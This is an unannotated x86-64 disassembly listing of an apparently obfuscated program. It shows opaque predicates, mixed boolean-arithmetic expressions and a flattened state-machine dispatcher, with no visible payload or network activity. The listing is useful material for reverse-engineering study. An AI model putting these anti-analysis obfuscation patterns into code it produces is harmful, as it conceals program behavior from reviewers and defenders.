cmp r9d, 0xa
setl r9b
mov ebx, r9d
xor bl, r11b
and bl, r9b
mov ecx, r10d
xor cl, r8b
and cl, r10b
mov eax, ebx
xor al, 1
or al, bl
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov esi, ecx
xor sil, 1
mov edx, ecx
and dl, sil
mov ebx, edx
xor bl, 1
xor dl, cl
or bl, sil
xor bl, 1
or bl, dl
mov ecx, eax
xor cl, 1
and cl, bl
xor bl, 1
and bl, al
or bl, cl
mov eax, r9d
xor r9b, r10b
and r10b, r11b
and al, r8b
or al, r10b
or r11b, r8b
xor r11b, 1
or r11b, r9b
xor al, 1
mov ecx, eax
xor cl, r11b
or al, r11b
xor al, 1
or al, cl
mov ecx, ebx
xor cl, 1
mov r8d, eax
mov edx, ecx
xor cl, al
xor al, 1
and r8b, bl
and dl, al
or dl, r8b
or al, bl
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xb9d49e9f
mov ebp, 0x63e4b718
cmovne ecx, ebp
test al, 1
mov eax, 0xb9d49e9f
jmp 0x1400bca41
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x17b3878c
and ecx, 0xe84c7873
or ecx, edx
mov ebp, ecx
xor ebp, 0xe84c7873
mov edx, ecx
xor edx, 0x17b3878c
xor ecx, 0xe84c7872
and ecx, ebp
and edx, 0xfffffffe
and ebp, 1
or ebp, edx
mov edi, ecx
not edi
mov ebx, ebp
not ebx
mov edx, edi
and edx, 0x460c29c0
and ecx, 0xb9f3d63f
or ecx, edx
or edi, ebx
and ebx, 0x460c29c0
and ebp, 0xb9f3d63f
or ebp, ebx
xor ebp, ecx
not edi
or edi, ebp
mov ecx, edi
mov edx, edi
xor edx, 0xeaf90753
and edx, edi
not edi
and edi, 0xe0c00641
and ecx, 0xa390112
or ecx, edi
mov ebp, ecx
xor ebp, 0xa380100
xor ecx, 0xf5c6feed
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x2407c616
and ebp, 0xcaf80141
or ebp, edi
or ecx, ebx
and ebx, 0x2407c616
and edx, 0xdbf839e9
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x26a0954
and ecx, 0xfd95f6ab
or ecx, edx
mov edx, ecx
xor edx, 0x3481080
xor ecx, 0xc8010e06
and edx, 0x23da1081
and ecx, 0xdc25ef7e
or ecx, edx
mov edx, ecx
xor edx, 0x2da0080
xor ecx, 0x9c050e62
and ecx, 0xbd051e63
and edx, 0x42fae19c
or edx, ecx
xor edx, 0x42fae19c
sete r8b
setne cl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov edx, ecx
and dl, al
and cl, bl
and bl, r8b
or bl, dl
xor bl, 1
or bl, al
xor bl, 1
and al, r8b
or al, cl
xor al, bl
mov edx, eax
xor dl, 1
and dl, bl
mov ecx, edx
xor cl, al
test cl, 1
mov ebp, 0x4f6f7846
mov ebx, 0xd78853fe
cmovne ebp, ebx
test al, 1
mov ecx, ebp
cmovne ecx, ebx
jmp 0x1400c94e2
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
not edx
and ebp, 0xcf5b8c4b
and edx, 0x30a473b4
or edx, ebp
mov ecx, edx
xor ecx, 0xcf5b8c4b
xor edx, 0x30a473b4
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0xe8990bc6
and ecx, 0x1766f439
or ecx, edx
mov edx, ecx
not edx
and edx, 0x33fa36d
and ecx, 0xfcc05c92
or ecx, edx
mov edx, ecx
xor edx, 0x10085114
xor ecx, 0x69a0a8a1
and ecx, 0x6df1aee1
and edx, 0x920e511e
or edx, ecx
mov ecx, edx
xor ecx, 0x82065008
xor edx, 0x6d10a8a1
and edx, 0x7d18a9b7
and ecx, 0x82e75648
or ecx, edx
xor ecx, 0x82e75648
sete r8b
setne dil
cmp eax, 0xa
setl r11b
cmp eax, 9
setg r9b
mov ebx, r9d
xor bl, r11b
and bl, r9b
mov r10d, edi
xor r10b, r8b
and r10b, dil
mov edx, ebx
xor dl, 1
mov eax, edx
and al, bl
mov esi, edx
xor sil, al
xor al, 1
or al, bl
xor al, 1
or al, sil
or dl, bl
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
xor dl, r10b
mov eax, edx
xor al, 1
xor dil, r9b
mov ebx, r11d
and bl, r8b
xor r11b, r8b
or r11b, bl
mov ebx, r11d
xor bl, dil
xor dil, 1
xor bl, 1
or dil, r11b
xor dil, 1
or dil, bl
mov ebx, edi
xor bl, 1
mov ecx, ebx
and cl, dil
xor bl, cl
xor cl, 1
or cl, dil
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
and bl, dl
and al, cl
or al, bl
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x34951a5b
mov ebp, 0xaccfccd0
cmovne ecx, ebp
test al, 1
cmove ecx, ebp
test dl, 1
mov eax, 0x34951a5b
jmp 0x1400ca6f6
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0x1442a3eb
mov ebp, edx
and ebp, 0xebbd5c14
or ebp, ebx
mov ebx, ebp
not ebx
and ebx, 0x9ce6fb0b
and ebp, 0x631904f4
or ebp, ebx
mov ebx, ebp
xor ebx, 0x7311a018
xor ebp, 0x240841
and ebp, 0x46e0f47
and ebx, 0xfb91f0b8
or ebx, ebp
mov ebp, ebx
xor ebp, 0x4281a008
xor ebx, 0x46e0f47
mov edi, ebx
and edi, 0xb9125cb4
and ebp, 0x46eda34b
or ebp, edi
or ebx, edx
and edx, 0xb9125cb4
and ecx, 0x46eda34b
or ecx, edx
xor ecx, ebp
not ebx
or ebx, ecx
cmp ebx, 0xffffffff
setne cl
sete r8b
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov r9d, eax
xor r9b, r8b
and bl, r8b
and cl, al
or cl, bl
and al, r8b
or al, r9b
mov ebx, eax
xor bl, cl
xor cl, 1
xor bl, 1
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
xor al, 1
mov ebx, eax
mov edx, r9d
or al, r9b
xor r9b, 1
and bl, r9b
and dl, cl
or dl, bl
xor cl, r9b
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x54b1a2e0
mov ebp, 0xce30d9cd
cmovne eax, ebp
test dl, dl
cmove eax, ebp
test cl, 1
mov ecx, 0x54b1a2e0
jmp 0x1400bca47
mov rax, qword [rsp + 0x30]
mov ecx, 0xfc137e96
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov eax, dword [0x14024b728]
mov ecx, dword [0x14024b724]
lea ebp, [rax - 1]
imul ebp, eax
mov eax, ebp
mov edx, ebp
xor edx, 0xfffffffe
and edx, ebp
not ebp
mov ebx, ebp
and ebx, 0x1b82d60c
and eax, 0xe47d29f2
or eax, ebx
xor eax, 0xe47d29f2
mov ebx, eax
and ebx, edx
xor edx, eax
or edx, ebx
mov eax, edx
not eax
and eax, 0x52904134
and edx, 0xad6fbecb
or edx, eax
xor edx, 0xad6fbecb
mov eax, edx
and eax, ebp
xor edx, ebp
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne r11b
cmp ecx, 0xa
setl dl
cmp ecx, 9
setg r9b
mov ecx, r9d
xor cl, dl
and cl, r9b
mov eax, ecx
not al
and al, cl
mov r10d, eax
and r10b, cl
xor al, cl
or al, r10b
mov ecx, eax
xor cl, 1
and cl, r11b
and al, r8b
or al, cl
and r9b, r8b
and r11b, dl
or r11b, r9b
mov ecx, edx
and cl, r8b
xor dl, r8b
or dl, cl
xor r11b, 1
mov ecx, r11d
xor cl, dl
or r11b, dl
xor r11b, 1
or r11b, cl
mov ecx, r11d
xor cl, 1
mov r8d, eax
xor r8b, 1
mov ebx, eax
and bl, r8b
mov edx, ecx
and dl, r11b
mov r9d, ebx
and r9b, al
xor bl, al
or bl, r9b
mov r9d, edx
and r9b, cl
xor dl, cl
or dl, r9b
mov r9d, ebx
xor r9b, 1
and r9b, dl
xor dl, 1
and dl, bl
or dl, r9b
xor r8b, r11b
or cl, al
xor cl, 1
or cl, r8b
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0xead3b83f
mov ebp, 0x60b14406
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
not al
test al, 1
mov eax, 0xead3b83f
jmp 0x1400ca4f3
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea esi, [rdx - 1]
imul esi, edx
mov ebp, esi
not ebp
mov edx, ebp
and edx, 0x11c1690a
mov ecx, esi
and ecx, 0xee3e96f5
or ecx, edx
mov edi, ecx
xor edi, 0x820a0240
xor ecx, 0x2802
mov ebx, ebp
or ebx, 0x876a6e66
mov edx, ebx
not edx
or ecx, 0x38051008
and ecx, 0x3c253c2e
and edi, 0x834a4240
or edi, ecx
and ebx, 0x3c253c2e
and edx, 0x40908191
or edx, ebx
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0x9b45e4fd
and edx, 0x64ba1b02
or edx, ecx
mov ecx, edx
xor ecx, 0x41c01504
and ebp, 0xa05efe26
and esi, 0x5fa101d9
or esi, ebp
mov ebp, esi
xor ebp, 0x55810190
xor edx, 0x1c2f8a9a
mov ebx, edx
and ebx, 0xaa30e269
and ecx, 0x55cf1d96
or ecx, ebx
xor esi, 0xa010e220
and esi, 0xaa30e269
and ebp, 0x55cf1d96
or ebp, esi
xor ebp, ecx
xor edx, ebp
test edx, ebp
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov edx, r8d
xor dl, al
and cl, al
or al, r8b
xor al, 1
or al, dl
xor dl, 1
and bl, r8b
or cl, bl
xor al, 1
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
xor cl, 1
and cl, al
xor cl, 1
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
xor al, 1
mov ebx, ecx
and bl, al
mov r8d, ebx
and r8b, cl
xor bl, cl
or bl, r8b
xor bl, dl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, ebx
xor cl, al
not cl
test cl, 1
mov edx, 0xbeaf29b8
mov ecx, 0xbff0d306
cmovne edx, ecx
test al, 1
mov ecx, 0xbeaf29b8
cmovne ecx, edx
test bl, 1
cmovne ecx, edx
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov rax, qword [rsp + 0x30]
mov ecx, 0x6d581f7a
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov ecx, 0x88bb1eea
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x80d0aaa0
mov ebx, ecx
and ebx, 0x2a220505
or ebx, edx
xor ebx, 0x2a220505
mov edx, ecx
xor edx, 0xaaf2afa5
and edx, ecx
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0x550d505b
and edx, 0xaaf2afa4
or edx, ebx
and ebp, 0xec36f68d
and ecx, 0x13c90972
or ecx, ebp
mov ebp, ecx
xor ebp, 0x13c90972
xor ecx, 0xec36f68d
and ecx, edx
not edx
and ebp, edx
or ecx, ebp
not ecx
or ecx, edx
cmp ecx, 0xffffffff
sete r8b
setne r9b
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, r9d
and cl, al
and bl, r8b
or bl, cl
mov edx, ebx
xor dl, al
and dl, bl
xor r9b, al
mov eax, r9d
xor al, 1
mov ecx, edx
xor cl, 1
and r9b, cl
or cl, al
and al, dl
or al, r9b
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xef1a8aa1
mov ebp, 0x71740e3e
cmovne edx, ebp
test al, al
mov eax, edx
mov ebp, 0xef1a8aa1
cmovne eax, ebp
test cl, cl
jmp 0x1400ca814
mov ecx, 0x28cdc296
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov ecx, 0xf24c299a
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov ecx, 0x68f66001
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov rax, qword [rsp + 0x38]
mov qword [0x14024b060], rax
mov ecx, 0xc2917310
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov ecx, 0x657caa
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov eax, dword [0x14024b728]
lea ebp, [rax - 1]
imul ebp, eax
mov eax, ebp
not eax
mov edx, eax
and edx, 0xd0a956d
mov ecx, ebp
and ecx, 0xf2f56a92
or ecx, edx
mov edx, ecx
not edx
and edx, 0xf2f56a93
and ecx, 0xd0a956c
or ecx, edx
mov edx, ecx
not edx
and eax, edx
and ecx, ebp
or ecx, eax
not ecx
or ecx, edx
cmp ecx, 0xffffffff
setne r8b
sete r9b
cmp dword [0x14024b724], 9
setg r10b
mov ecx, r9d
xor cl, r8b
and cl, r9b
mov edx, ecx
xor dl, 1
mov eax, ecx
and al, dl
mov ebx, eax
xor bl, 1
xor al, cl
or bl, dl
xor bl, 1
or bl, al
or dl, cl
mov eax, edx
xor al, bl
xor bl, 1
xor al, 1
or bl, dl
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
and bl, al
xor bl, 1
mov ecx, ebx
xor cl, al
or bl, al
xor bl, 1
or bl, cl
xor bl, r10b
xor r9b, r10b
and r9b, r10b
xor r10b, r8b
mov eax, r9d
and al, r10b
xor r10b, r9b
or r10b, al
mov eax, ebx
or al, r10b
xor r10b, bl
mov ecx, eax
xor cl, r10b
test cl, 1
mov ecx, 0x13f4c1f6
mov edx, 0xdc68189e
cmovne ecx, edx
test r10b, 1
mov edx, ecx
mov ebp, 0x13f4c1f6
cmovne edx, ebp
test al, 1
cmovne edx, ecx
jmp 0x1400ca372
mov rax, qword [rsp + 0x38]
mov qword [0x14024b060], rax
mov ecx, 0xffcfca88
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov ecx, 0x3ea36c82
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0xb13afe12
and ecx, 0x4ec501ed
or ecx, edx
mov edx, ecx
xor edx, 0x4ec501ed
mov ebp, ecx
xor ebp, 0xb13afe12
xor ecx, 0x4ec501ec
and ecx, edx
and ebp, 0xfffffffe
and edx, 1
or edx, ebp
mov ebp, ecx
not ebp
mov ebx, edx
not ebx
mov edi, ebp
and edi, 0x328d6d56
and ecx, 0xcd7292a9
or ecx, edi
or ebp, ebx
and ebx, 0x328d6d56
and edx, 0xcd7292a9
or edx, ebx
xor edx, ecx
not ebp
or ebp, edx
mov ecx, ebp
xor ecx, 0xdd1bd5c1
and ecx, ebp
not ebp
and ebp, 0xdd1bd5c1
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0xcb494748
and ecx, 0x34b6b8b7
or ecx, edx
mov edx, ecx
xor edx, 0xe9240424
xor ecx, 0x16529289
mov ebp, ecx
and ebp, 0x129be95b
and edx, 0xed6416a4
or edx, ebp
xor edx, 0xed6416a4
or edx, ecx
cmp edx, 0xffffffff
sete dl
setne r8b
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov ebx, ecx
or bl, dl
and dl, al
xor al, r8b
xor bl, 1
or bl, al
and cl, r8b
or cl, dl
mov eax, ecx
and cl, bl
xor bl, 1
xor al, 1
mov edx, ebx
xor dl, al
and dl, bl
and al, bl
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ebp, 0x64568601
mov ebx, 0xaceb094f
cmovne ebp, ebx
test al, al
mov ecx, ebp
cmovne ecx, ebx
test dl, dl
jmp 0x1400c94e5
mov ecx, 0x7e3ef2fa
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xe7ab5e37
mov ebx, ecx
and ebx, 0x1854a1c8
or ebx, ebp
mov ebp, ebx
not ebp
and ebp, 0x1854a1c9
and ebx, 0xe7ab5e36
or ebx, ebp
and edx, 0x30d67ce5
and ecx, 0xcf29831a
or ecx, edx
mov edx, ecx
xor edx, 0xcf29831a
xor ecx, 0x30d67ce5
and ecx, ebx
not ebx
and edx, ebx
or ecx, edx
xor ebx, ecx
test ebx, ecx
sete r8b
setne r9b
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov edx, r9d
and dl, al
and r9b, cl
and cl, r8b
or cl, dl
mov r10d, ecx
xor r10b, al
and r10b, cl
and al, r8b
or al, r9b
mov r8d, r10d
xor r8b, 1
mov edx, eax
xor dl, 1
mov ecx, r10d
and cl, r8b
and dl, al
mov ebx, ecx
xor bl, 1
xor cl, r10b
or bl, r8b
xor bl, 1
or bl, cl
mov ecx, edx
and cl, al
xor dl, al
or dl, cl
mov ecx, ebx
xor cl, 1
and cl, dl
xor dl, 1
and dl, bl
or dl, cl
mov ecx, r10d
xor cl, al
or al, r10b
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xccc6a1ae
mov ebp, 0xc102f8ca
cmovne eax, ebp
test dl, 1
cmove eax, ebp
test cl, 1
mov ecx, 0xccc6a1ae
jmp 0x1400bca47
mov edx, dword [0x14024b728]
mov r8d, dword [0x14024b724]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov ebx, ebp
and ebx, 0x3e3a2296
mov edx, ecx
and edx, 0xc1c5dd69
or edx, ebx
mov ebx, edx
xor ebx, 0xc1008568
xor edx, 0x3e3a2296
mov edi, ecx
xor edi, 0xfffffffe
and edi, ecx
or edx, 1
mov esi, edi
not esi
mov eax, edx
and eax, 0x22df7800
and ebx, 0xdd2087fe
or ebx, eax
or edx, esi
and esi, 0x22df7800
and edi, 0xdd2087ff
or edi, esi
xor edi, ebx
not edx
or edx, edi
not edx
and ebp, 0x504ffeaf
and ecx, 0xafb00150
or ecx, ebp
xor ecx, 0xafb00150
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xb7a1ef55
and ecx, 0x485e10aa
or ecx, eax
xor ecx, 0x485e10aa
sete dl
setne bl
cmp r8d, 9
setg r9b
cmp r8d, 0xa
setl al
mov ecx, ebx
and cl, al
and r9b, dl
or r9b, cl
xor bl, al
xor bl, 1
mov ecx, eax
and cl, dl
xor al, dl
or al, cl
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
mov edx, eax
and dl, cl
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov eax, edx
xor dl, 1
and dl, r9b
xor r9b, 1
and al, r9b
or dl, al
mov eax, r9d
and al, cl
xor r9b, cl
or r9b, al
mov eax, r9d
xor al, dl
test r9b, 1
mov ecx, 0x1a32fefc
mov ebp, 0xfd15fb69
cmovne ecx, ebp
test dl, dl
cmove ecx, ebp
test al, 1
mov eax, 0x1a32fefc
jmp 0x1400ca6f6
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ebx, [rdx - 1]
imul ebx, edx
mov ebp, ebx
not ebp
mov edx, ebp
and edx, 0x40e72b94
mov ecx, ebx
and ecx, 0xbf18d46a
or ecx, edx
xor ecx, 0xbf18d46a
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
mov edi, ecx
and edi, edx
xor edx, ecx
or edx, edi
and ebp, 0x952734fe
and ebx, 0x6ad8cb01
or ebx, ebp
mov ecx, ebx
xor ecx, 0x48580101
mov edi, edx
not edi
mov ebp, edi
and ebp, 0xa3a0ea58
and edx, 0x5c5f15a7
or edx, ebp
xor ebx, 0x81202058
and ebx, 0xa3a0ea58
and ecx, 0x5c5f15a7
or ecx, ebx
xor ecx, edx
not ecx
or ecx, edi
cmp ecx, 0xffffffff
sete r8b
setne cl
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
and cl, dl
and bl, r8b
or bl, cl
mov r9d, ebx
xor r9b, dl
and r9b, bl
mov eax, edx
xor al, r8b
not al
and al, r8b
or dl, r8b
mov ecx, edx
xor cl, al
xor al, 1
xor cl, 1
or al, dl
xor al, 1
or al, cl
mov ecx, eax
mov edx, eax
mov ebx, r9d
or al, r9b
xor r9b, 1
xor cl, 1
and dl, r9b
and bl, cl
or bl, dl
xor cl, r9b
xor al, 1
or al, cl
mov ecx, eax
xor cl, bl
test cl, 1
mov edx, 0x620771b8
mov ecx, 0x484821ee
cmovne edx, ecx
test al, 1
mov ecx, 0x620771b8
cmovne ecx, edx
test bl, 1
jmp 0x1400c9dae
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xfffffffe
mov ebx, ecx
and ebx, 1
or ebx, ebp
mov ebp, ebx
not ebp
and ebp, 0x13250caf
and ebx, 0xecdaf350
or ebx, ebp
xor ebx, 0xecdaf350
and edx, 0xf252db34
and ecx, 0xdad24cb
or ecx, edx
xor ecx, 0xdad24cb
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
cmp ecx, 0xffffffff
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
mov eax, edx
and cl, dl
and dl, r8b
xor al, r8b
or al, dl
mov edx, eax
xor dl, 1
and bl, r8b
or cl, bl
mov ebx, eax
and bl, cl
xor cl, 1
and dl, cl
or dl, bl
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x1cdad6a5
mov ebp, 0x62026db3
cmovne eax, ebp
test cl, cl
mov ecx, 0x1cdad6a5
cmovne ecx, eax
jmp 0x1400ca6f4
mov ecx, dword [0x14024b728]
mov r8d, dword [0x14024b724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0x3bc1b740
and ecx, edx
or edx, 0xc43e48bf
mov ebp, edx
not ebp
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x4d6d40f4
and ebp, 0x3280b700
or ebp, edi
or edx, ebx
and ebx, 0x4d6d40f4
and ecx, 0xb292bf0b
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x546f6f06
and edx, 0xab9090f9
or edx, ecx
mov ebp, edx
xor ebp, 0x4002b9
xor edx, 0x6faed846
mov ecx, edx
and ecx, 0xdb133d44
and ebp, 0x24ecc2bb
or ebp, ecx
mov edi, ebp
xor edi, 0x24ecc2bb
mov ebx, ebp
xor ebx, 0xec7ba029
and ebx, edi
or edx, 0x37689d6d
mov esi, edx
not esi
mov ecx, ebx
not ecx
mov eax, ecx
and eax, 0x911caad6
and ebx, 0x6ee35529
or ebx, eax
or ecx, edx
and edx, 0x911caad6
and esi, 0x48834000
or esi, edx
xor esi, ebx
not ecx
or ecx, esi
mov eax, ecx
not eax
and eax, 0x8f9f3200
and ecx, 0x7060cdff
or ecx, eax
mov eax, ecx
xor eax, 0x7001011
and edi, 1
xor ebp, 0x24ecc2ba
or ebp, edi
mov edx, ebp
not edx
xor ecx, 0xb8f7af6c
mov ebx, ecx
and ebx, 0x68e968e6
and eax, 0x97169719
or eax, ebx
or ecx, ebp
and ebp, 0x68e968e6
and edx, 0x97169719
or edx, ebp
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and ecx, eax
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
mov edx, eax
and edx, 0x9293e8a1
and ecx, 0x6d6c175e
or ecx, edx
xor ecx, 0x9293e8a1
xor eax, ecx
test eax, ecx
sete r9b
setne al
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
mov ecx, eax
and cl, bl
and dl, r9b
or dl, cl
mov ecx, edx
xor cl, bl
and cl, dl
xor bl, al
mov eax, ecx
xor al, 1
and al, bl
xor bl, 1
mov edx, ecx
xor dl, bl
and dl, cl
and bl, cl
or bl, al
mov eax, edx
xor al, bl
test bl, bl
mov ecx, 0x435ba374
mov ebp, 0x8732776b
cmovne ecx, ebp
test dl, dl
mov edx, 0x435ba374
cmove ecx, edx
test al, al
jmp 0x1400c984f
mov ecx, 0x1bdb2a3
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov r8, qword [rsp + 0x38]
mov edx, dword [0x14024b728]
lea ebp, [rdx - 1]
imul ebp, edx
mov ebx, ebp
not ebx
mov edx, ebx
and edx, 0xeee2da96
mov ecx, ebp
and ecx, 0x111d2568
or ecx, edx
xor ecx, 0x111d2568
mov edx, ebp
xor edx, 0xfffffffe
and edx, ebp
mov edi, ecx
and edi, edx
xor edx, ecx
mov esi, dword [0x14024b724]
or edx, edi
mov edi, edx
not edi
and ebx, 0xdf8376dc
and ebp, 0x207c8923
or ebp, ebx
mov ebx, edx
and ebx, 0x5ba16cec
and edi, 0xa45e9313
or edi, ebx
mov ecx, ebp
xor ecx, 0x205c8103
xor ebp, 0xdf8376dc
or edx, ebp
and ebp, 0x5ba16cec
and ecx, 0xa45e9313
or ecx, ebp
xor ecx, edi
not edx
or edx, ecx
cmp edx, 0xffffffff
sete dl
cmp esi, 9
setg bl
cmp esi, 0xa
setl al
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
or al, cl
xor al, 1
and cl, dl
or bl, dl
xor cl, 1
mov edx, ecx
xor dl, bl
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and dl, cl
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
xor dl, al
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xd07d6d61
mov ebp, 0xd210a0ae
cmovne eax, ebp
test cl, 1
mov ecx, 0xd07d6d61
cmovne ecx, eax
mov qword [0x14024b060], r8
jmp 0x1400c9d46
mov ecx, 0x92bf3754
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov eax, dword [0x14024b728]
mov ecx, dword [0x14024b724]
lea ebx, [rax - 1]
imul ebx, eax
mov eax, ebx
not eax
mov edx, eax
and edx, 0xc90294
mov ebp, ebx
and ebp, 0xe1241942
or ebp, edx
xor ebp, 0xe1241942
mov edx, ebx
and edx, 0x1e12e429
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0x111d9c1
and edx, 0xfeee263e
or edx, ebp
mov ebp, edx
xor ebp, 0x1d022401
xor edx, 0xe0fcc216
mov edi, edx
and edi, 0x821ddbfa
and ebp, 0x7de22405
or ebp, edi
and ebx, 0x821ddbfa
and eax, 0x7de22405
or eax, ebx
xor eax, ebp
not eax
or eax, edx
cmp eax, 0xffffffff
sete r9b
setne al
cmp ecx, 9
setg r8b
cmp ecx, 0xa
setl cl
mov r10d, ecx
xor r10b, al
xor al, r9b
and al, r9b
mov edx, r8d
xor dl, al
not dl
and dl, al
or al, r8b
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor r10b, 1
mov edx, ecx
and dl, r9b
xor cl, r9b
or cl, dl
xor cl, 1
mov edx, r10d
and dl, cl
xor cl, r10b
or cl, dl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
xor dl, al
mov ecx, edx
xor cl, 1
and al, cl
xor cl, al
test cl, 1
mov ebp, 0x61c1012a
mov ecx, 0xc8c1392
cmovne ebp, ecx
test dl, 1
mov ecx, ebp
mov edx, 0x61c1012a
cmovne ecx, edx
test al, 1
jmp 0x1400c94e5
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0xb7961a04
mov ebx, ecx
and ebx, 0x4869e5fa
or ebx, edx
xor ebx, 0x4869e5fa
mov edx, ecx
and edx, 1
or edx, ebx
mov ebx, edx
not ebx
and ebp, 0x1102775d
and ecx, 0xeefd88a2
or ecx, ebp
mov ebp, ecx
xor ebp, 0xc24988a2
xor ecx, 0x1102775d
mov edi, edx
and edi, 0x2db65519
and ebx, 0xd249aae6
or ebx, edi
or edx, ecx
and ecx, 0x2db65519
and ebp, 0xd249aae6
or ebp, ecx
xor ebp, ebx
not edx
or edx, ebp
cmp edx, 0xffffffff
setne cl
cmp eax, 9
setg dl
cmp eax, 0xa
setl al
xor al, cl
xor al, 1
or al, dl
xor cl, dl
mov edx, ecx
xor dl, al
xor al, 1
mov ebx, ecx
xor bl, al
xor dl, 1
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, bl
test cl, 1
